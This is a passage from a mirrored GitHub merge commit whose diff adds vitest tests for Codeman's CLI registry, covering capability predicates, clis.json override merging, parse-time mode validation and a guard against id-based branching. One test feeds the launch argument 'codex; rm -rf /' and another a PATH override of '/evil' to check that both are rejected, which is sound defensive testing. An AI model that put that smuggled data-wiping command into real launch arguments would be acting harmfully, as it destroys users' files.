mirror of
https://github.com/Ark0N/Codeman.git
synced 2026-09-30 12:39:42 +02:00
Merge pull request #347 from opticon454/feature/cli-registry-core
PR A: CLI registry core as a pure internal refactor
This commit is contained in:
@@ -48,7 +48,7 @@ import { describe, expect, it } from 'vitest';
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { join } from 'node:path';
|
||||
import { CreateSessionSchema, QuickStartSchema } from '../src/web/schemas.js';
|
||||
import { CreateSessionSchema, QuickStartSchema, sessionModeIds } from '../src/web/schemas.js';
|
||||
import { isExternalCliMode } from '../src/session.js';
|
||||
import { hooksAvailableForMode } from '../src/web/session-wait-registry.js';
|
||||
import type { SessionMode } from '../src/types/session.js';
|
||||
@@ -63,14 +63,20 @@ const SKILL_FILES = [
|
||||
'reference/verbs.md',
|
||||
];
|
||||
|
||||
/** Modes the API actually accepts, read off the schema rather than restated here. */
|
||||
function schemaModes(schema: typeof CreateSessionSchema | typeof QuickStartSchema): SessionMode[] {
|
||||
// `mode` is `z.enum([...]).optional()`; unwrap the optional to reach `.options`.
|
||||
return (schema as unknown as { shape: { mode: { unwrap(): { options: SessionMode[] } } } }).shape.mode.unwrap()
|
||||
.options;
|
||||
/**
|
||||
* Modes the API actually accepts, read off the runtime source of truth rather than restated
|
||||
* here — the whole point of this file is to catch the skill docs drifting from what the API
|
||||
* takes, which a second hardcoded list could not do.
|
||||
*
|
||||
* `mode` used to be a `z.enum([...])` whose `.options` this unwrapped. It is now resolved at
|
||||
* parse time from the enabled CLI registry (so enabling a CLI does not need a restart), and
|
||||
* there is no frozen member list on the schema to read; `sessionModeIds()` is that list.
|
||||
*/
|
||||
function schemaModes(): SessionMode[] {
|
||||
return sessionModeIds() as SessionMode[];
|
||||
}
|
||||
|
||||
const MODES = schemaModes(CreateSessionSchema);
|
||||
const MODES = schemaModes();
|
||||
const EXTERNAL_MODES = MODES.filter(isExternalCliMode);
|
||||
|
||||
/**
|
||||
@@ -101,10 +107,21 @@ function modesIn(run: string): SessionMode[] {
|
||||
}
|
||||
|
||||
describe('agent skill run-mode lists', () => {
|
||||
it('derives the mode list from the schema, and both endpoints agree', () => {
|
||||
it('derives the mode list from the registry, and both endpoints agree', () => {
|
||||
expect(MODES).toContain('pi');
|
||||
expect(new Set(schemaModes(QuickStartSchema))).toEqual(new Set(MODES));
|
||||
expect(EXTERNAL_MODES.length).toBeGreaterThan(1);
|
||||
// Guard against a parsing/registry regression silently making every scan below vacuous.
|
||||
expect(MODES.length).toBeGreaterThanOrEqual(9);
|
||||
|
||||
// Both endpoints now share one mode validator, so comparing member lists would compare
|
||||
// a thing with itself. Parse through each schema instead: that survives the two
|
||||
// drifting apart later, which is what this assertion is actually for.
|
||||
for (const mode of MODES) {
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode }).success).toBe(true);
|
||||
expect(QuickStartSchema.safeParse({ caseName: 'demo', mode }).success).toBe(true);
|
||||
}
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'not-a-cli' }).success).toBe(false);
|
||||
expect(QuickStartSchema.safeParse({ caseName: 'demo', mode: 'not-a-cli' }).success).toBe(false);
|
||||
});
|
||||
|
||||
it('documents the CLI availability probe for every agent mode', () => {
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
/**
|
||||
* @fileoverview The three per-mode predicates that used to be hand-written id lists, and the
|
||||
* invariant that they are INDEPENDENT.
|
||||
*
|
||||
* `isExternalCliMode()`, `isAltScreenStripMode()` and `hooksAvailableForMode()` describe three
|
||||
* different, deliberately unequal sets. Deriving any one of them from another looks like a
|
||||
* tidy-up and has already shipped a bug: `shell` has no hooks but is NOT an external CLI, so
|
||||
* a hooks predicate written as `!isExternalCliMode()` accepted `until=stop` on a shell session
|
||||
* and then blocked the caller for their entire timeout — an infinite wait wearing a timeout's
|
||||
* clothes, which is precisely what that guard exists to prevent.
|
||||
*
|
||||
* Keeping them as three separate `CliCapabilities` fields makes that structural. This file is
|
||||
* what stops someone collapsing them again.
|
||||
*
|
||||
* Port: none (pure predicates over registry data).
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { isExternalCliMode, isAltScreenStripMode } from '../src/session.js';
|
||||
import { hooksAvailableForMode } from '../src/web/session-wait-registry.js';
|
||||
import { enabledCliIds } from '../src/config/cli-registry/registry.js';
|
||||
import type { SessionMode } from '../src/types/session.js';
|
||||
|
||||
const MODES = enabledCliIds() as SessionMode[];
|
||||
|
||||
describe('per-mode capability predicates', () => {
|
||||
it.each([
|
||||
// mode external altScreenStrip hooks
|
||||
['claude', false, true, true],
|
||||
['shell', false, false, false],
|
||||
['opencode', true, false, false],
|
||||
['codex', true, true, false],
|
||||
['gemini', true, true, false],
|
||||
['antigravity', true, false, false],
|
||||
['pi', true, false, false],
|
||||
['grok', true, false, false],
|
||||
['deepseek', true, false, true],
|
||||
['omp', true, false, false],
|
||||
] as Array<[SessionMode, boolean, boolean, boolean]>)(
|
||||
'%s: external=%s altScreenStrip=%s hooks=%s',
|
||||
(mode, external, altScreen, hooks) => {
|
||||
expect(isExternalCliMode(mode)).toBe(external);
|
||||
expect(isAltScreenStripMode(mode)).toBe(altScreen);
|
||||
expect(hooksAvailableForMode(mode)).toBe(hooks);
|
||||
}
|
||||
);
|
||||
|
||||
it('covers every enabled mode (sanity)', () => {
|
||||
// If a CLI is added without a row above, this fails rather than the table silently
|
||||
// describing a subset of reality.
|
||||
expect(MODES.length).toBe(10);
|
||||
});
|
||||
|
||||
it('keeps the three predicates genuinely distinct', () => {
|
||||
// Not "they happen to differ today" — each pair differs on a NAMED mode, and each of
|
||||
// those disagreements is load-bearing.
|
||||
const external = MODES.filter(isExternalCliMode);
|
||||
const altScreen = MODES.filter(isAltScreenStripMode);
|
||||
const hooks = MODES.filter((m) => hooksAvailableForMode(m));
|
||||
|
||||
expect(external).not.toEqual(altScreen);
|
||||
expect(external).not.toEqual(hooks);
|
||||
expect(altScreen).not.toEqual(hooks);
|
||||
|
||||
// claude is the mode that separates all three: not external, IS stripped, HAS hooks.
|
||||
expect(isExternalCliMode('claude')).toBe(false);
|
||||
expect(isAltScreenStripMode('claude')).toBe(true);
|
||||
expect(hooksAvailableForMode('claude')).toBe(true);
|
||||
// deepseek is external AND has hooks — the pairing that makes "external ⇒ no hooks" false.
|
||||
expect(isExternalCliMode('deepseek')).toBe(true);
|
||||
expect(hooksAvailableForMode('deepseek')).toBe(true);
|
||||
});
|
||||
|
||||
it('does not accept a hook-only wait on a shell session', () => {
|
||||
// The exact historical bug, reproduced. `shell` is not external, so any hooks predicate
|
||||
// derived from `isExternalCliMode` would answer true here and hang the caller.
|
||||
expect(isExternalCliMode('shell')).toBe(false);
|
||||
expect(hooksAvailableForMode('shell')).toBe(false);
|
||||
});
|
||||
|
||||
it("treats deepseek's hooks as a per-SESSION question, not a per-mode one", () => {
|
||||
// 'supervised': real signals, but only while this session's bridge is actually armed and
|
||||
// reachable. Answering from the mode alone promises a `stop` that never arrives.
|
||||
expect(hooksAvailableForMode('deepseek')).toBe(true);
|
||||
expect(hooksAvailableForMode('deepseek', { deepSeekStatusReporting: false })).toBe(false);
|
||||
expect(hooksAvailableForMode('deepseek', { deepSeekBridgeUnreachable: true })).toBe(false);
|
||||
// claude's are unconditional, so the same options change nothing.
|
||||
expect(hooksAvailableForMode('claude', { deepSeekStatusReporting: false })).toBe(true);
|
||||
expect(hooksAvailableForMode('claude', { deepSeekBridgeUnreachable: true })).toBe(true);
|
||||
});
|
||||
|
||||
it('falls back conservatively for an unregistered mode', () => {
|
||||
const unknown = 'not-a-cli' as SessionMode;
|
||||
// External: disables Claude-specific parsing rather than pointing it at foreign output.
|
||||
expect(isExternalCliMode(unknown)).toBe(true);
|
||||
// No hooks: never promise a signal nothing will send.
|
||||
expect(hooksAvailableForMode(unknown)).toBe(false);
|
||||
// No full strip: leaving the alt screen alone is the safe default for an unknown TUI.
|
||||
expect(isAltScreenStripMode(unknown)).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,228 @@
|
||||
/**
|
||||
* @fileoverview Loading and merging `~/.codeman/clis.json` over the stock catalog.
|
||||
*
|
||||
* Two properties matter most here and neither is obvious from reading the loader:
|
||||
*
|
||||
* 1. A BAD OVERRIDE MUST NOT BRICK A SHIPPED CLI. The file is hand-editable, so a typo is a
|
||||
* matter of when, not if. A stock entry that fails validation after merge falls back to
|
||||
* its pristine definition; a custom entry that fails is dropped. Neither takes the rest
|
||||
* of the catalog down with it.
|
||||
* 2. LOADING WRITES NOTHING. There is no settings UI and no write API in this build, so
|
||||
* there is nothing to persist — and `src/web/schemas.ts` imports the registry just to
|
||||
* validate a request, which would make any write here a filesystem side effect of
|
||||
* parsing HTTP input.
|
||||
*
|
||||
* Port: none (`resolveRegistry` is pure; the on-disk cases use the per-file temp HOME from
|
||||
* test/setup.ts).
|
||||
*/
|
||||
|
||||
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
|
||||
import { existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from 'node:fs';
|
||||
import { dirname } from 'node:path';
|
||||
import { dataPath } from '../src/config/instance.js';
|
||||
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
||||
import { resolveRegistry, loadCliRegistry, reloadCliRegistry, listClis } from '../src/config/cli-registry/registry.js';
|
||||
import type { CliEntry } from '../src/config/cli-registry/types.js';
|
||||
import { CreateSessionSchema, sessionModeIds } from '../src/web/schemas.js';
|
||||
|
||||
/** A complete, valid custom entry — the minimum a user would have to write by hand. */
|
||||
function customEntry(id: string): Record<string, unknown> {
|
||||
const template = STOCK_CLIS.find((e) => (e.id as string) === 'pi');
|
||||
if (!template) throw new Error('pi is missing from the stock catalog');
|
||||
return JSON.parse(JSON.stringify({ ...template, id, label: 'Custom', order: 999 })) as Record<string, unknown>;
|
||||
}
|
||||
|
||||
function writeRegistryFile(contents: unknown): void {
|
||||
const path = dataPath('clis.json');
|
||||
mkdirSync(dirname(path), { recursive: true });
|
||||
writeFileSync(path, typeof contents === 'string' ? contents : JSON.stringify(contents, null, 2), { mode: 0o600 });
|
||||
}
|
||||
|
||||
describe('resolveRegistry (pure)', () => {
|
||||
it('returns the stock catalog unchanged when there is no file', () => {
|
||||
const warnings: string[] = [];
|
||||
const { entries } = resolveRegistry(STOCK_CLIS, null, warnings);
|
||||
expect(warnings).toEqual([]);
|
||||
expect(entries.map((e) => e.id as string)).toEqual(STOCK_CLIS.map((e) => e.id as string));
|
||||
expect(entries.every((e) => e.stock)).toBe(true);
|
||||
});
|
||||
|
||||
it('applies a partial override without disturbing anything else', () => {
|
||||
const warnings: string[] = [];
|
||||
const { entries } = resolveRegistry(STOCK_CLIS, { schemaVersion: 1, clis: { grok: { enabled: false } } }, warnings);
|
||||
expect(warnings).toEqual([]);
|
||||
const byId = new Map(entries.map((e) => [e.id as string, e]));
|
||||
expect(byId.get('grok')?.enabled).toBe(false);
|
||||
// The override touched one key; everything else about grok, and every other CLI, stands.
|
||||
expect(byId.get('grok')?.launch.variants[0].args[0]).toEqual({ lit: 'grok' });
|
||||
expect(entries.filter((e) => e.enabled).length).toBe(STOCK_CLIS.length - 1);
|
||||
});
|
||||
|
||||
it('replaces arrays wholesale rather than merging them element-wise', () => {
|
||||
// A half-merged searchDirs (or worse, a half-merged args list) is not a reasonable
|
||||
// thing to hand a spawn path, so arrays replace.
|
||||
const warnings: string[] = [];
|
||||
const { entries } = resolveRegistry(
|
||||
STOCK_CLIS,
|
||||
{ schemaVersion: 1, clis: { pi: { discovery: { searchDirs: ['/only/this'] } } } },
|
||||
warnings
|
||||
);
|
||||
expect(entries.find((e) => (e.id as string) === 'pi')?.discovery.searchDirs).toEqual(['/only/this']);
|
||||
});
|
||||
|
||||
it('adds a well-formed custom entry', () => {
|
||||
const warnings: string[] = [];
|
||||
const { entries } = resolveRegistry(
|
||||
STOCK_CLIS,
|
||||
{ schemaVersion: 1, clis: { mycli: customEntry('mycli') } },
|
||||
warnings
|
||||
);
|
||||
expect(warnings).toEqual([]);
|
||||
const mine = entries.find((e) => (e.id as string) === 'mycli');
|
||||
expect(mine?.label).toBe('Custom');
|
||||
// Forced false regardless of what the file claimed — provenance is not user-assertable.
|
||||
expect(mine?.stock).toBe(false);
|
||||
});
|
||||
|
||||
it('drops an invalid custom entry but keeps the whole stock catalog', () => {
|
||||
const warnings: string[] = [];
|
||||
const { entries } = resolveRegistry(
|
||||
STOCK_CLIS,
|
||||
{ schemaVersion: 1, clis: { broken: { label: 'nope' } } },
|
||||
warnings
|
||||
);
|
||||
expect(entries.map((e) => e.id as string)).toEqual(STOCK_CLIS.map((e) => e.id as string));
|
||||
expect(warnings.join(' ')).toContain('broken');
|
||||
});
|
||||
|
||||
it('falls back to the PRISTINE definition when an override breaks a stock CLI', () => {
|
||||
// This is the one that matters: a fat-fingered override of a shipped CLI must degrade to
|
||||
// the shipped behaviour, never to a CLI that cannot launch.
|
||||
const warnings: string[] = [];
|
||||
const { entries } = resolveRegistry(
|
||||
STOCK_CLIS,
|
||||
{
|
||||
schemaVersion: 1,
|
||||
clis: { codex: { launch: { variants: [{ id: 'x', args: [{ lit: 'codex; rm -rf /' }] }] } } },
|
||||
},
|
||||
warnings
|
||||
);
|
||||
const codex = entries.find((e) => (e.id as string) === 'codex');
|
||||
expect(codex?.launch.variants[0].args[0]).toEqual({ lit: 'codex' });
|
||||
expect(warnings.join(' ')).toContain('codex');
|
||||
});
|
||||
|
||||
it('refuses to let a custom entry impersonate a stock one', () => {
|
||||
const warnings: string[] = [];
|
||||
const impostor = { ...customEntry('grok'), stock: true, label: 'Not Grok' };
|
||||
const { entries } = resolveRegistry(STOCK_CLIS, { schemaVersion: 1, clis: { grok: impostor } }, warnings);
|
||||
const grok = entries.filter((e) => (e.id as string) === 'grok');
|
||||
expect(grok).toHaveLength(1);
|
||||
expect(grok[0].stock).toBe(true);
|
||||
});
|
||||
|
||||
it('sorts by order', () => {
|
||||
const { entries } = resolveRegistry(STOCK_CLIS, null, []);
|
||||
const orders = entries.map((e) => e.order);
|
||||
expect([...orders].sort((a, b) => a - b)).toEqual(orders);
|
||||
});
|
||||
});
|
||||
|
||||
describe('loadCliRegistry (on disk)', () => {
|
||||
beforeEach(() => reloadCliRegistry());
|
||||
afterEach(() => reloadCliRegistry());
|
||||
|
||||
it('WRITES NOTHING when no file exists', () => {
|
||||
const path = dataPath('clis.json');
|
||||
expect(existsSync(path)).toBe(false);
|
||||
const { entries, warnings } = loadCliRegistry();
|
||||
expect(entries).toHaveLength(STOCK_CLIS.length);
|
||||
expect(warnings).toEqual([]);
|
||||
// The whole reason this build has no seeding ratchet: importing the registry (which
|
||||
// schemas.ts does, to validate a request) must not touch the filesystem.
|
||||
expect(existsSync(path)).toBe(false);
|
||||
});
|
||||
|
||||
it('WRITES NOTHING when a file does exist', () => {
|
||||
writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } });
|
||||
const before = readFileSync(dataPath('clis.json'), 'utf-8');
|
||||
loadCliRegistry();
|
||||
expect(readFileSync(dataPath('clis.json'), 'utf-8')).toBe(before);
|
||||
});
|
||||
|
||||
it('tolerates a file written by a future version that carries seededStockIds', () => {
|
||||
// Forward compatibility: a later build persists that key. Reading it must not fail.
|
||||
writeRegistryFile({ schemaVersion: 1, seededStockIds: ['claude', 'shell'], clis: {} });
|
||||
const { entries, warnings } = loadCliRegistry();
|
||||
expect(entries).toHaveLength(STOCK_CLIS.length);
|
||||
expect(warnings).toEqual([]);
|
||||
});
|
||||
|
||||
it('QUARANTINES malformed JSON rather than overwriting it', () => {
|
||||
// The file is hand-editable, so a syntax error is far more likely to be a half-finished
|
||||
// edit than junk. Renaming keeps the user's work; truncating would destroy it.
|
||||
writeRegistryFile('{ "clis": { oops');
|
||||
const { entries, warnings } = loadCliRegistry();
|
||||
expect(entries).toHaveLength(STOCK_CLIS.length);
|
||||
expect(warnings.join(' ')).toContain('not valid JSON');
|
||||
const siblings = readdirSync(dirname(dataPath('clis.json')));
|
||||
expect(siblings.some((f) => f.startsWith('clis.json.invalid-'))).toBe(true);
|
||||
expect(siblings).not.toContain('clis.json');
|
||||
});
|
||||
});
|
||||
|
||||
describe('the mode allowlist resolves at PARSE time, not import time', () => {
|
||||
beforeEach(() => reloadCliRegistry());
|
||||
afterEach(() => reloadCliRegistry());
|
||||
|
||||
it('stops accepting a mode as soon as its CLI is disabled — no restart', () => {
|
||||
// The regression this pins: SESSION_MODE_IDS used to be computed once at module load,
|
||||
// so toggling a CLI updated the Run menu while `POST /api/sessions` kept answering
|
||||
// INVALID_INPUT until the server restarted. Validation and the menu disagreed about
|
||||
// which CLIs existed, and the flow the feature was built around simply did not work.
|
||||
expect(sessionModeIds()).toContain('grok');
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'grok' }).success).toBe(true);
|
||||
|
||||
writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } });
|
||||
reloadCliRegistry();
|
||||
|
||||
expect(sessionModeIds()).not.toContain('grok');
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'grok' }).success).toBe(false);
|
||||
// ...and the schema object itself was never rebuilt.
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'claude' }).success).toBe(true);
|
||||
});
|
||||
|
||||
it('admits a custom CLI as a run mode the moment it loads', () => {
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'mycli' }).success).toBe(false);
|
||||
writeRegistryFile({ schemaVersion: 1, clis: { mycli: customEntry('mycli') } });
|
||||
reloadCliRegistry();
|
||||
expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'mycli' }).success).toBe(true);
|
||||
});
|
||||
|
||||
it('follows the registry for env-prefix allowlisting too', () => {
|
||||
// Same import-time freeze applied to ALLOWED_ENV_PREFIXES, with the same symptom.
|
||||
const withGrokEnv = { workingDir: '/tmp', mode: 'claude', envOverrides: { XAI_API_KEY: 'x' } };
|
||||
expect(CreateSessionSchema.safeParse(withGrokEnv).success).toBe(true);
|
||||
|
||||
writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } });
|
||||
reloadCliRegistry();
|
||||
|
||||
// XAI_ was grok's contribution; with grok disabled nothing allowlists it any more.
|
||||
expect(CreateSessionSchema.safeParse(withGrokEnv).success).toBe(false);
|
||||
});
|
||||
|
||||
it('never lets a registry entry unblock a hard-blocked key', () => {
|
||||
// BLOCKED_ENV_KEYS is deliberately NOT registry-driven. Even a pathological entry
|
||||
// claiming a prefix that covers everything must not reach PATH.
|
||||
const evil = customEntry('evil');
|
||||
(evil as { env: { allowedPrefixes: string[] } }).env.allowedPrefixes = ['P'];
|
||||
writeRegistryFile({ schemaVersion: 1, clis: { evil } });
|
||||
reloadCliRegistry();
|
||||
// The schema rejects a 1-char prefix outright, so the entry is dropped...
|
||||
expect(listClis().some((e) => (e.id as string) === 'evil')).toBe(false);
|
||||
// ...and PATH stays blocked regardless.
|
||||
expect(
|
||||
CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'claude', envOverrides: { PATH: '/evil' } }).success
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,373 @@
|
||||
/**
|
||||
* @fileoverview Static guard: no code outside the stock catalog branches on a CLI's ID.
|
||||
*
|
||||
* The whole point of the registry is that behaviour which differs between CLIs is DATA (a
|
||||
* `CliEntry` field) or a NAMED PROFILE selected by a field — never `mode === 'codex'`. A
|
||||
* single reintroduced id-check is how the old shape grows back, one "just this once" at a
|
||||
* time, until adding a CLI means editing forty files again.
|
||||
*
|
||||
* This guard was cited by name in three separate file headers of an earlier attempt at this
|
||||
* refactor and never actually written — and in its absence four id-branches survived that
|
||||
* migration, one of them dead code sitting directly under the generic check that replaced it.
|
||||
* So the guard is not decoration: it is the thing that makes the rule true rather than
|
||||
* aspirational.
|
||||
*
|
||||
* ## What is allowlisted, and why an allowlist rather than zero
|
||||
*
|
||||
* Some branches are not CLI-behaviour branches at all, and forcing them through a capability
|
||||
* would make the code worse, not better. Each entry below carries its reason. The categories:
|
||||
*
|
||||
* - **Legacy `<Mode>Config` plumbing.** `POST /api/sessions` has carried named per-CLI
|
||||
* config objects since before the registry, and `docs/versioning-policy.md` makes that
|
||||
* wire shape public. Selecting `codexConfig` for codex is a fact about the HTTP API, not
|
||||
* about codex, and the `Session` constructor mirrors it. The registry already owns the
|
||||
* translation (`launch.legacyConfigField`); collapsing the constructor too is a public-API
|
||||
* change and belongs in its own PR.
|
||||
* - **Claude's remote/docker command construction.** Claude's pane command varies with the
|
||||
* session's permission mode and its docker form is `--session-id … || resume`, semantics
|
||||
* no other CLI has and a static `overlays.command` string cannot express.
|
||||
* - **Genuinely per-CLI prose.** One error message that explains why a deepseek session in
|
||||
* particular will never deliver a `stop` signal.
|
||||
*
|
||||
* ⚠️ Adding an entry here is a decision, not a formality. If the branch is about what a CLI
|
||||
* CAN DO, it belongs in `CliCapabilities` instead — and if it needs to run code, in
|
||||
* `config/cli-registry/profiles.ts` as a named profile.
|
||||
*
|
||||
* Port: none (pure static analysis).
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { readdirSync, readFileSync, statSync } from 'node:fs';
|
||||
import { join, relative, sep } from 'node:path';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
|
||||
|
||||
const SRC = fileURLToPath(new URL('../src', import.meta.url));
|
||||
|
||||
/**
|
||||
* Files exempt from the scan entirely, because naming CLI ids IS their job.
|
||||
*
|
||||
* `stock.ts` is the catalog. The per-CLI resolver modules are each ABOUT one CLI and look up
|
||||
* their own entry by id — the same reason the catalog may, and the reason they are not a
|
||||
* loophole: they resolve a binary, they decide no behaviour.
|
||||
*/
|
||||
const EXEMPT_FILES = new Set(
|
||||
[
|
||||
'config/cli-registry/stock.ts',
|
||||
'utils/claude-cli-resolver.ts',
|
||||
'utils/opencode-cli-resolver.ts',
|
||||
'utils/codex-cli-resolver.ts',
|
||||
'utils/gemini-cli-resolver.ts',
|
||||
'utils/antigravity-cli-resolver.ts',
|
||||
'utils/pi-cli-resolver.ts',
|
||||
'utils/grok-cli-resolver.ts',
|
||||
'utils/deepseek-cli-resolver.ts',
|
||||
// Names the deepseek launcher profile's implementation; keyed by profile, not by id.
|
||||
'utils/cli-launcher.ts',
|
||||
].map((p) => p.split('/').join(sep))
|
||||
);
|
||||
|
||||
/**
|
||||
* Specific surviving branches, each with the reason it is not a capability.
|
||||
* Keyed `<relative path>::<the matched expression>`.
|
||||
*/
|
||||
const ALLOWED_BRANCHES: Record<string, string> = {
|
||||
// --- Legacy <Mode>Config plumbing (public wire shape, see the header) ---
|
||||
"web/routes/session-routes.ts::mode === 'opencode'": 'legacy <Mode>Config plumbing',
|
||||
"web/routes/session-routes.ts::mode === 'codex'": 'legacy <Mode>Config plumbing',
|
||||
"web/routes/session-routes.ts::mode === 'gemini'": 'legacy <Mode>Config plumbing',
|
||||
"web/routes/session-routes.ts::mode === 'antigravity'": 'legacy <Mode>Config plumbing',
|
||||
"web/routes/session-routes.ts::mode === 'pi'": 'legacy <Mode>Config plumbing',
|
||||
"web/routes/session-routes.ts::mode === 'grok'": 'legacy <Mode>Config plumbing',
|
||||
"web/routes/session-routes.ts::mode === 'deepseek'": 'legacy <Mode>Config plumbing',
|
||||
"web/server.ts::mode === 'opencode'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'codex'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'gemini'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'antigravity'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'pi'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'grok'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'deepseek'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
"web/server.ts::mode === 'omp'": 'legacy <Mode>Config plumbing (session recovery)',
|
||||
|
||||
// --- Claude's remote/docker command construction ---
|
||||
"tmux-manager.ts::mode === 'claude'":
|
||||
"claude's remote pane command carries per-session permission flags, and its docker form is " +
|
||||
'`--session-id … || resume`; neither fits a static overlays.command string',
|
||||
|
||||
// --- Per-CLI prose and launch handling not yet generalised ---
|
||||
"web/session-wait-registry.ts::mode === 'deepseek'":
|
||||
'an error message explaining why THIS mode in particular will never deliver a stop signal',
|
||||
"web/routes/approval-routes.ts::mode === 'deepseek'":
|
||||
'the DeepSeek status bridge is the only non-claude source of approval items',
|
||||
"cron/cron-service.ts::mode === 'claude'": 'cron launch handling, not yet generalised',
|
||||
"cron/cron-service.ts::mode === 'shell'": 'cron launch handling, not yet generalised',
|
||||
"web/routes/session-routes.ts::mode === 'claude'": 'docker case bookkeeping keyed on the claude conversation id',
|
||||
"cli.ts::mode === 'shell'": 'a CLI-table label, not behaviour',
|
||||
|
||||
// --- Negated forms surfaced when BRANCH_PATTERN widened past `===` (see its comment) ---
|
||||
//
|
||||
// None of these is a regression: every one predates the registry and survived the
|
||||
// conversion only because the guard could not see `!==`. They are listed here with reasons
|
||||
// rather than silently converted, because each would change behaviour or invent a
|
||||
// capability field, and this change is meant to change nothing a user can see.
|
||||
|
||||
// Read My Mind + intent capture read CLAUDE's OWN transcript, so `mode === 'claude'` is
|
||||
// the right question and `hooksAvailableForMode()` is NOT — once `deepseek` earned a yes
|
||||
// there, the shared predicate silently widened both to a mode with no transcript to read.
|
||||
// CLAUDE.md documents this as deliberate and `test/deepseek-mode.test.ts` pins it, so a
|
||||
// capability here would be actively wrong.
|
||||
"web/routes/readmymind-routes.ts::mode !== 'claude'":
|
||||
'deliberately mode-not-capability; pinned by deepseek-mode.test.ts',
|
||||
"web/server.ts::mode !== 'claude'":
|
||||
"intent capture reads Claude's own transcript, and the recovered-workspace hook sweep " +
|
||||
'writes .claude hooks — both are claude questions, not capability ones (see CLAUDE.md)',
|
||||
|
||||
// The TUI is a CLIENT of the server, and these two are about what it can offer for a row:
|
||||
// resume builds a `claude --resume`, and the mode badge is suppressed for the default mode
|
||||
// purely so the common case reads clean. The badge one is cosmetic and not a capability at
|
||||
// all; the resume one would need a "resumable from a claude transcript" field that nothing
|
||||
// else would read.
|
||||
"tui/tui-app.ts::mode !== 'claude'": 'TUI resume builds a claude --resume; claude-transcript-only by construction',
|
||||
"tui/tui-render.ts::mode !== 'claude'": 'cosmetic: suppress the mode badge for the default mode',
|
||||
|
||||
// Push approve/deny BUTTONS are withheld for dsh because the answer route refuses
|
||||
// keystrokes for its dialogs (third-party TUI, unmeasured contract) — a button whose
|
||||
// answer would be refused is worse than none. Arguably wants an "answerable dialogs"
|
||||
// capability; deliberately not invented here.
|
||||
"web/routes/hook-event-routes.ts::mode !== 'deepseek'":
|
||||
'push buttons withheld where the answer route refuses keystrokes',
|
||||
|
||||
// Legacy <Mode>Config plumbing, same category as the `===` entries above.
|
||||
"web/routes/session-routes.ts::mode !== 'omp'": 'legacy <Mode>Config plumbing (resolveOmpConfigForCreate)',
|
||||
|
||||
// ⚠️ Scaffolded-case hooks. This chain excludes seven CLIs but NOT `deepseek`, while its
|
||||
// own comment says DeepSeek uses its own system — so a scaffolded deepseek case gets a
|
||||
// Claude hooks block written into it. That inconsistency is UPSTREAM's and predates this
|
||||
// change; expressing the chain as a capability would have to pick a side and would
|
||||
// therefore be a behaviour change. Left exactly as found, and named here so it is visible.
|
||||
"web/routes/session-routes.ts::mode !== 'opencode'":
|
||||
'scaffolded-case hooks + the COD-91 self-heal skip; the chain omits deepseek upstream, ' +
|
||||
'so any capability form would change behaviour — see PR discussion',
|
||||
"web/routes/session-routes.ts::mode !== 'codex'": 'scaffolded-case hooks (see the opencode entry)',
|
||||
"web/routes/session-routes.ts::mode !== 'gemini'": 'scaffolded-case hooks (see the opencode entry)',
|
||||
"web/routes/session-routes.ts::mode !== 'antigravity'": 'scaffolded-case hooks (see the opencode entry)',
|
||||
"web/routes/session-routes.ts::mode !== 'pi'": 'scaffolded-case hooks (see the opencode entry)',
|
||||
"web/routes/session-routes.ts::mode !== 'grok'": 'scaffolded-case hooks (see the opencode entry)',
|
||||
};
|
||||
|
||||
/** Every stock CLI id, derived rather than restated so a new entry is covered automatically. */
|
||||
const IDS = STOCK_CLIS.map((e) => e.id as string);
|
||||
const ID_ALT = IDS.join('|');
|
||||
|
||||
/**
|
||||
* The shapes an id-branch actually takes, all four of them.
|
||||
*
|
||||
* ⚠️ An earlier version of this guard matched `===` ONLY, and that was not a small gap: the
|
||||
* refactor it guards converted the `===` sites and left the negated ones, so 36
|
||||
* `mode !== '<id>'` branches survived it — 28 in session-routes.ts alone, including a
|
||||
* seven-mode chain auto-enabling Ralph under a comment asking the next person to keep it in
|
||||
* step with a predicate BY HAND, while the sibling quick-start path already read
|
||||
* `capabilities.ralph`. A guard that sees half the shapes reports a count measured over the
|
||||
* half it happens to catch.
|
||||
*
|
||||
* `switch`/`case` and `[...].includes(mode)` are here for the same reason: each is a way of
|
||||
* writing the banned rule that the narrower pattern could not see.
|
||||
*/
|
||||
const BRANCH_PATTERN = new RegExp(
|
||||
[
|
||||
// mode === 'codex' / mode !== 'codex'
|
||||
`\\b(?:mode|id|agentType)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
|
||||
// case 'codex':
|
||||
`\\bcase\\s+'(?:${ID_ALT})'\\s*:`,
|
||||
